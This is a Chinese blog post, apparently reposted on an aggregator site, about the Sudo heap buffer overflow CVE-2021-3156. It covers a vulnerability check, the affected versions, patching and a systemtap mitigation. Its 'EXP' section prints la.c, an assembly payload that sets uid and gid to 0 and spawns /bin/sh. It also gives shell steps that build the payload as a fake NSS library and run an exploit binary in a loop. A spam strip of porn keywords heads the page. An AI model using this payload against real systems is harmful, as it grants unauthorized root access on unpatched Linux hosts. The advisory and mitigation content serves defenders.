日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

CVE-2021-3156:Sudo 堆缓冲区溢出漏洞(有poc,exp待更新)

發布時間:2025/3/15 编程问答 30 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CVE-2021-3156:Sudo 堆缓冲区溢出漏洞(有poc,exp待更新) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

漏洞詳情

CVE-2021-3156: 緩沖區溢出漏洞

在sudo解析命令行參數的方式中發現了基于堆的緩沖區溢出。任何本地用戶(普通用戶和系統用戶,sudoer和非sudoers)都可以利用此漏洞,而無需進行身份驗證,攻擊者不需要知道用戶的密碼。成功利用此漏洞可以獲得root權限。

POC

用戶可以使用如下方法進行自查:

以非root用戶登錄系統,并使用命令sudoedit -s /

- 如果響應一個以sudoedit:開頭的報錯,那么表明存在漏洞。

- 如果響應一個以usage:開頭的報錯,那么表明補丁已經生效。

影響版本

-?sudo:sudo: 1.8.2 - 1.8.31p2

-?sudo:sudo: 1.9.0 - 1.9.5p1

修復建議

通用修補建議

下載升級sudo軟件包,下載鏈接為:

sudo軟件包下載地址

https://www.sudo.ws/dist/

臨時修補建議

對于無法立即更新的用戶,建議使用systemtap進行以下臨時緩解:

1. 安裝所需的systemtap軟件包和依賴項:

systemtap yum-utils kernel-devel-"$(uname -r)"

對于RHEL 7,使用命令安裝 kernel debuginfo:debuginfo-install -y kernel-"$(uname -r)"。對于RHEL 8,使用命令安裝 sudo debuginfo:debuginfo-install sudo。

2. 創建以下systemtap腳本(將文件命名為sudoedit-block.stap):

probe process("/usr/bin/sudo").function("main") {command = cmdline_args(0,0,"");if (strpos(command, "edit") >= 0) {raise(9);} }

3. 使用以下命令安裝腳本:(使用root權限)

# nohup stap -g sudoedit-block.stap &

該腳本將使得易受攻擊的sudoedit二進制文件停止工作。sudo命令仍將照常工作。上述更改在重啟后失效,必須在每次重啟后重新應用。

4. 一旦安裝了補丁程序,就可以通過取消systemtap進程來刪除systemtap腳本。例如,通過使用:

# kill -s SIGTERM 7590 (其中7590是systemtap進程的PID)

EXP

CVE-2021-3156- Heap-Based Buffer Overflow in Sudo

la.c

static void __attribute__((constructor)) _init(void) {__asm __volatile__("addq $64, %rsp;"// setuid(0);"movq $105, %rax;""movq $0, %rdi;""syscall;"// setgid(0);"movq $106, %rax;""movq $0, %rdi;""syscall;"// dup2(0, 1);"movq $33, %rax;""movq $0, %rdi;""movq $1, %rsi;""syscall;"// dup2(0, 2);"movq $33, %rax;""movq $0, %rdi;""movq $2, %rsi;""syscall;"// execve("/bin/sh");"movq $59, %rax;""movq $0x0068732f6e69622f, %rdi;""pushq %rdi;""movq %rsp, %rdi;""movq $0, %rdx;""pushq %rdx;""pushq %rdi;""movq %rsp, %rsi;""syscall;"// exit(0);"movq $60, %rax;""movq $0, %rdi;""syscall;"); }

shell?

cd /tmp mkdir libnss_X gcc -fpic -shared -nostdlib -o libnss_X/X.so.2 la.c for i in {1..128000}; do echo -n "try number $i "; ./exploit; done

https://github.com/r4j0x00/exploits

?

?

總結

以上是生活随笔為你收集整理的CVE-2021-3156:Sudo 堆缓冲区溢出漏洞(有poc,exp待更新)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。